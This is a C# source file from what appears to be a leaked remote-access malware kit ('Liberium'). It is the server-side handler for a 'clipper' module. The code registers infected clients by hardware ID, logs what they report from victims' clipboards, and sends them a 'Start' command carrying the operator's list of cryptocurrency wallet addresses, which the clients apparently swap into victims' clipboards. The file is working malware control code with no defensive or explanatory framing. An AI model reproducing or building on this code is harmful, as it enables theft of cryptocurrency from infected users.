Files
Liberium-1.8-Source-Code/Server.Messages/HandlerClipper.cs
T
2026-08-27 11:21:58 -06:00

72 lines
1.6 KiB
C#

using System.Collections.Generic;
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerClipper
{
public static void Read(Clients clients, object[] array)
{
string text = (string)array[1];
if (!(text == "Connect"))
{
if (!(text == "Log"))
{
return;
}
if (Program.form.Clipper.work)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow();
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.Hwid
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[2]
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[3]
});
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.GridLog.Rows.Add(dataGridViewRow);
});
}
else
{
clients.Disconnect();
}
}
else if (Program.form.Clipper.work)
{
clients.Hwid = (string)array[2];
clients.eventDisconnect += delegate
{
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.clients.Remove(clients);
});
};
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.clients.Add(clients);
});
if (Program.form.Clipper.materialSwitch7.Checked)
{
clients.Send(new object[2]
{
"Start",
string.Join(",", (IEnumerable<string>)Program.form.Clipper.CryptoWallet)
});
}
}
else
{
clients.Disconnect();
}
}
}